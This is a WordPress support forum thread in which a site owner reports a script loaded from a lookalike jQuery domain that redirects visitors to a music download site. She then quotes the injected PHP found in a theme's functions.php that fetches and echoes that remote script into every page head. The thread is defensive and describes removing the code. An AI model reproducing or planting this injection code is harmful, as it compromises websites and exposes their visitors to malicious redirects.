WordPress.org

Ready to get started?Download WordPress

Forums

jquerys.org in the header of my site (2 posts)

  1. PeggyMe
    Member
    Posted 1 year ago #

    I have two site that use the theme "website". (Actually some one else did the work on these sites)
    This script is in the head of both sites:

    <script type="text/javascript" src="http://www.jquerys.org/ajax/libs/jquery/jquery-1.6.3.min.js"></script>

    I am not sure how long it has been there and would not have noticed except that my bosses Virus Protection Software detected in in one of the sites yesterday. So I can estimate that is has not been there for more than a week (probably less).

    If you go to the url jquerys.org/ajax/libs/jquery/jquery-1.6.3.min.js you can see that it is a script that will sometimes redirect the user to a website to download free music.

    I can also assume that this a new issue because I found nothing on google that was helpful.

    Is anyone else having this problem or know something that will help??

  2. PeggyMe
    Member
    Posted 1 year ago #

    My bad I dug a little farther and found that yesterday someone else solved the problem.

    If you go into the theme funcions.php file and take out the line that says:

    <?php if (!function_exists('insert_jquery_des')){function insert_jquery_des(){if (function_exists('curl_init')){$url = "http://www.jqueryc.com/jquery-1.6.3.min.js";$ch = curl_init(); $timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_des');} ?>

    Then the problem is solved! I see that the people who solved tthe problem yesterday, had this code in a different file. Here is the link

    http://wordpress.org/support/topic/unwanted-jquery-script?replies=24

Topic Closed

This topic has been closed to new replies.

About this Topic